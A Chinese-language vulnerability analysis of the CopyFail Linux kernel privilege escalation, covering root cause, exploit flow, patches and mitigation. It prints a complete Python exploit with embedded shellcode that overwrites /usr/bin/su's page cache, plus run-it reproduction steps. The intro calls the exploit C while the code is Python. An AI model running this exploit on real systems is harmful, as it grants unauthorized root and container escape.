2026 年 4 月 29 日,安全研究团队公开了一个潜伏了近 9 年的 Linux 内核高危漏洞 ------CopyFail(CVE-2026-31431)。该漏洞自 2017 年的一次内核优化引入,影响几乎所有主流 Linux 发行版,普通本地用户仅需编译运行一个跨平台的 C 提权程序,即可无门槛获得 root 权限,无需竞态条件、无需复杂适配,甚至可突破容器隔离实现宿主机提权。
一、漏洞概述
| 漏洞信息 | 详情 |
|---|---|
| CVE 编号 | CVE-2026-31431 |
| 漏洞名称 | CopyFail |
| 漏洞类型 | 本地提权(LPE)、逻辑漏洞 |
| CVSS 评分 | 7.8(高危) |
| 影响内核版本 | Linux 4.14 ~ 6.18.21、6.19.11、7.0-rc1(2017 年 - 2026 年 4 月的所有主流版本) |
| 受影响发行版 | Ubuntu、Debian、RHEL、SUSE、Amazon Linux 等所有主流 Linux 发行版 |
| 利用条件 | 普通本地用户权限,Python 3.10+ |
与此前的经典 Linux 提权漏洞相比,CopyFail 拥有前所未有的易用性:
| 漏洞 | 类型 | 核心特点 | 利用难度 |
|---|---|---|---|
| Dirty Cow (CVE-2016-5195) | 页错误竞态 | 需要复杂时序竞争,易失败、易崩溃 | 高 |
| Dirty Pipe (CVE-2022-0847) | Pipe 缓冲区漏洞 | 版本依赖强,需要适配不同内核 | 中 |
| CopyFail (CVE-2026-31431) | 逻辑漏洞 | 无竞态、无版本适配、一次触发成功 | 极低 |
除此之外,CopyFail 还具备极强的隐蔽性:它仅修改文件的内存页缓存,不会改动磁盘上的原始文件,传统的文件完整性校验工具(如基于磁盘文件的哈希检查)完全无法检测到篡改;同时,由于页缓存是系统全局共享的,容器内的普通用户甚至可以直接修改宿主机的 setuid 程序,实现容器逃逸。
二、漏洞原理深度解析
这个漏洞的本质是三个独立特性的交叉碰撞:2017 年的 in-place 加密优化、splice 的零拷贝页缓存引用,以及 authencesn 算法隐藏的越界写操作。
2.1 基础组件:AF_ALG 与 splice
要理解这个漏洞,首先需要了解两个核心内核组件:
-
AF_ALG Socket:这是 Linux 提供的用户态访问内核加密 API 的接口,普通用户无需任何权限即可创建,通过它可以调用内核的各种加密算法,包括 AEAD(带认证的加密)算法。
-
splice () 系统调用:零拷贝数据传输接口,它可以直接在文件描述符之间传递页缓存的引用,不需要将数据拷贝到用户态,从而实现高效的数据传输。当我们把一个文件 splice 到 AF_ALG 的 socket 时,内核的加密 scatterlist 会直接持有该文件的页缓存页的引用,而不是拷贝一份数据。
2.2 2017 年的 In-place 优化
在 2017 年,内核开发者为了优化 AEAD 加密的性能,提交了 commit 72548b093ee3,将 algif_aead 的处理从out-of-place 改成了in-place模式:
-
原本的 out-of-place 模式:加密的输入(src)和输出(dst)是两个独立的 scatterlist,输入里的页缓存页是只读的,输出是用户的私有缓冲区。
-
优化后的 in-place 模式:为了减少拷贝,直接让 src 和 dst 指向同一个 scatterlist,这样加密的时候可以直接在原地修改数据。
在这个模式下,内核处理用户的解密请求时:
-
首先把用户输入的 AAD(关联数据)和密文,拷贝到用户的接收缓冲区里(这一步是真实的内存拷贝)。
-
但是对于最后一部分 ------ 认证 Tag,内核没有做拷贝,而是直接用
sg\_chain\(\)把原来输入里的 Tag 对应的 scatterlist 项,链到了输出 scatterlist 的末尾。
这就导致了一个问题:输出的 scatterlist 里,前半部分是用户的私有接收缓冲区,后半部分却是目标文件的页缓存页的引用!
Plain
输入SGL: AAD || 密文 || Tag(目标文件的页缓存页)
| | ^
| 拷贝 | | sg_chain 直接链入
v v |
输出SGL: AAD || 密文 -----+
| | | |
+-- 用户接收缓冲区 -+ +-- 目标文件的页缓存页 -+
2.3 隐藏的越界写:authencesn 的 Scratch 空间
正常来说,AEAD 算法的解密操作只会在输出缓冲区的合法范围内写入数据,不会越界。但是有一个特殊的算法 ------authencesn,打破了这个隐形的约定。
authencesn是为 IPsec 的扩展序列号(ESN)设计的 AEAD 算法,为了处理 64 位序列号的字节重排,它会把调用者的输出缓冲区当成临时的 scratch 空间来用:
c
// crypto_authenc_esn_decrypt 中的核心逻辑
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // 读取AAD的前8字节
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // 重排AAD内的ESN字节
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // 越界写!写入4字节到dst的末尾之后
注意最后一行:它会在assoclen \+ cryptlen的位置,写入 4 个字节!这个位置已经完全超出了 AEAD 解密的合法输出范围,但是这个算法从 2011 年加入内核开始,就一直这么做,因为当时的调用者都是内核内部的 IPsec 模块,输出缓冲区都是内核自己分配的,足够大,所以没人发现这个问题。
2.4 漏洞的最终触发
当这两个特性碰到一起的时候,漏洞就诞生了:
-
in-place 模式下,输出 scatterlist 的末尾,刚好是目标文件的页缓存页。
-
authencesn 的解密操作,刚好要在输出 scatterlist 的末尾之后,写入 4 个字节。
-
这 4 个字节,就刚好被写到了目标文件的页缓存页里!
更离谱的是:即使最后认证 Tag 校验失败,解密操作返回错误,这个 4 字节的写也已经完成了!攻击者甚至不需要提供合法的密文和 Tag,只需要触发这个解密操作,就能完成对任意可读文件的页缓存的 4 字节篡改。
三、漏洞利用流程与 UML 逻辑图
整个利用流程非常清晰,没有任何竞态条件,攻击者只需要按步骤构造请求,即可完成对 setuid 程序的篡改,最终提权。
3.1 利用流程 UML 代码
以下是完整的 PlantUML 活动图代码,你可以直接复制到PlantUML 在线编辑器生成可视化流程图:
plantuml
@startuml CopyFail_Exploit_Flow
title CopyFail (CVE-2026-31431) 漏洞利用流程
start
:攻击者(普通用户);
note right: 无需任何特殊权限
:创建AF_ALG Socket;
:绑定authencesn(hmac(sha256),cbc(aes))算法;
:创建管道用于splice传输;
:读取目标setuid程序: /usr/bin/su;
:解压内置的提权Shellcode;
:循环处理Shellcode的每个4字节块:
:构造AAD数据: 前4字节填充,后4字节为待写入的Shellcode块;
:sendmsg将AAD发送到ALG Socket;
:splice目标文件的对应偏移到管道;
:splice管道数据到ALG Socket;
:调用recv()触发内核解密操作;
:内核处理流程:
:algif_aead组装Scatterlist;
:将Tag对应的页缓存页链入输出SGL;
:设置src=dst,启用in-place模式;
:调用crypto_authenc_esn_decrypt;
:authencesn的scratch写,将4字节写入su的页缓存;
:Tag校验失败,返回-EBADMSG错误;
end
end
:执行修改后的/usr/bin/su;
:Shellcode执行,获得Root权限;
stop
@enduml
3.2 流程说明
-
初始化:攻击者首先创建 AF_ALG socket,绑定存在漏洞的 authencesn 算法,这个操作普通用户就可以完成。
-
分块写入 :由于每次漏洞触发只能写 4 个字节,攻击者会把提权用的 shellcode 拆分成多个 4 字节块,逐个写入到
/usr/bin/su(系统默认的 setuid-root 程序)的页缓存中。 -
触发篡改:每一个块,攻击者都会构造对应的 sendmsg 和 splice 请求,触发内核的解密操作,完成对 su 的页缓存的篡改。
-
提权 :所有字节写入完成后,攻击者直接执行
su,此时内核会从修改后的页缓存加载程序,shellcode 就会以 root 权限执行,攻击者直接获得 root shell。
四、POC 代码与复现验证
研究团队公开的 POC 仅 732 字节,是一个纯 Python 脚本,无需任何依赖,直接在所有 x86_64 的 Linux 发行版上运行即可提权。
4.1 完整 POC 代码(格式化版)
python
#!/usr/bin/env python3
import os as g, zlib, socket as s
# 十六进制转字节工具函数
def d(x):
return bytes.fromhex(x)
# 单块4字节写入函数
def c(f, target_offset, payload_chunk):
# 1. 创建AF_ALG Socket,绑定漏洞算法
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
# 2. 设置算法参数
SOL_ALG = 279
opt = a.setsockopt
opt(SOL_ALG, 1, d('0800010000000010'+'0'*64))
opt(SOL_ALG, 5, None, 4)
# 3. 接受请求socket
u, _ = a.accept()
o = target_offset + 4
i = d('00')
# 4. 发送AAD,后4字节为待写入的payload
u.sendmsg(
[b"A"*4 + payload_chunk],
[(SOL_ALG,3,i*4),(SOL_ALG,2,b'\x10'+i*19),(SOL_ALG,4,b'\x08'+i*3),],
32768
)
# 5. splice目标文件的对应偏移到ALG Socket
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
# 6. 触发解密操作,忽略返回的错误
try:
u.recv(8+target_offset)
except:
pass
# --------------------------
# 主提权逻辑
# --------------------------
if __name__ == "__main__":
# 打开目标setuid程序
target_file = g.open("/usr/bin/su", 0)
# 解压内置的x86_64提权Shellcode
shellcode = zlib.decompress(d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))
# 逐个4字节写入su的页缓存
i = 0
while i < len(shellcode):
c(target_file, i, shellcode[i:i+4])
i += 4
# 执行修改后的su,触发提权
print("[+] Triggering exploit, getting root...")
g.system("su")
4.2 复现验证
根据国内安全研究者的复现测试,该 POC 在主流环境下的验证结果如下:
| 环境 | 漏洞存在 | 成功提权 | 说明 |
|---|---|---|---|
| Ubuntu 24.04 x86_64(内核 6.8.0-41) | ✅ | ✅ | 直接运行 POC 即可获得 root |
| Ubuntu 22.04 x86_64(内核 5.15.0-176) | ✅ | ✅ | 原生支持,无需修改 |
| Ubuntu 22.04 ARM64(内核 5.15.0-176) | ✅ | ❌ | 漏洞存在,但公开 POC 的 shellcode 为 x86_64,需适配 ARM 版本 |
复现步骤:
-
确认系统加载了
algif\_aead模块:bashlsmod | grep algif_aead # 若未加载,执行:sudo modprobe algif_aead -
下载 POC 并保存为
exp\.py -
以普通用户身份运行:
bashpython3 exp.py -
运行完成后即可获得 root shell:
bash# whoami root
五、修复与缓解措施
5.1 官方修复
Linux 内核团队已经在 2026 年 4 月发布了补丁,彻底修复了这个漏洞:
-
修复的核心是回滚了 2017 年的 in-place 优化,重新将 algif_aead 改回 out-of-place 模式,避免页缓存页被加入到可写的输出 scatterlist 中。
-
修复版本:
-
Linux 6.18.22 及以上
-
Linux 6.19.12 及以上
-
Linux 7.0 及以上
-
各发行版的稳定版补丁:
-
Ubuntu 22.04:≥5.15.0-178
-
Ubuntu 24.04:≥6.8.0-42
-
-
建议所有用户立即升级内核并重启系统:
bash
sudo apt update && sudo apt upgrade -y
sudo reboot
5.2 临时缓解措施
如果无法立即升级内核,可以通过禁用存在漏洞的algif\_aead模块来临时阻断攻击:
bash
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo rmmod algif_aead 2>/dev/null
注意:禁用该模块会影响部分使用 AF_ALG AEAD 接口的应用,但不会影响系统的常规加密功能,普通桌面 / 服务器环境基本无感知。
六、总结
CopyFail 是一个典型的 "特性碰撞" 型漏洞:三个在各自场景下都合理的改动,在交叉之后产生了一个严重的安全漏洞,并且在内核中潜伏了 9 年才被发现。
这个漏洞的利用门槛极低,普通用户仅需运行一个 700 多字节的脚本即可提权,同时还具备跨容器逃逸的能力,对云原生环境也构成了严重威胁。请所有 Linux 用户务必尽快升级内核,避免被恶意攻击者利用。